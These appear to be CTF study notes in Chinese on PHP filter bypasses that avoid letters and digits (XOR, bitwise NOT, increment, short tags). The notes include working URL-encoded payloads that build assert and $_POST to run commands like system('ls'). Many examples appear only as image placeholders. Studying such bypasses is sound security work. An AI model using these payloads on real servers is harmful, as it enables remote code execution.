无字符过滤绕过

好多啊WC

无字符数字绕过

异或绕过^

如果a、b两个值不相同,则异或结果为1。

如果a、b两个值相同,异或结果为0。

$_变量名因为是无字符绕过,没有数字和字符使用,所以可以用_作为变量

举例

计算 "5" ^ "z"

  • “5” 的 ASCII 码0x35(二进制 00110101
  • “z” 的 ASCII 码0x7A(二进制 01111010

逐位异或运算:

1
2
3
4
"5" (00110101)
"z" (01111010)
-------- XOR
"o" (01001111) → 0x4F → ASCII 'o'
  • 最终结果 010011110x4F,对应 ASCII 字符 'o'

可用脚本生成异或绕过payload

例题

image-20250328171307227

PHP5

通过url提交要进行url编码image-20250328182324540

PHP7

image-20250328182657026

取反绕过~()

image-20250328194315953

脚本

image-20250328194508816

PHP5

利用中文字符

image-20250328194616256

利用URL编码

image-20250328194847004

1
2
3
4
5
GET提交
?cmd=$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%a0%af%b0%ac%ab");$___=$$__;$_($___[_]);

POST提交
_=system("ls");

PHP7

URL编码

image-20250328195951406

自增绕过++

自增

image-20250328204150023

PHP5

image-20250328205124665

这玩意真能写出来吗

解法

先用脚本把assert和_post跑出来

1
2
3
4
5
6
7
8
9
<?php
脚本内容#$_=[]....
$__= $$____ #$_POST
$_($__[_]); #assert($_POST[_])

#!!! 要进行url编码,因为直接提交+号会被解析成空格

#再通过post提交
_ = system('ls');

PHP7

image-20250328212613272

无字母数字特殊符号绕过

过滤字母数字以及_下划线

短标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
phpinfo();
?>
等同于
<?=phpinfo();?>

GET方式提交 ——取反(也可以用异或)
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?> //?><?=`$_GET[%a0]`?>

?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ls

POST方式提交
?><?=`{${~"%a0%af%b0%ac%ab"}["-"]}`?> //?><?=`$_POST[-]`?>

cmd=?><?=`{${~"%a0%af%b0%ac%ab"}["-"]}`?>
POST提交 -=ls

过滤字母数字以及_下划线、$符号

PHP7

image-20250329225410016

PHP5

好长,碰到在学吧

过滤;~^`&|

image-20250329225651028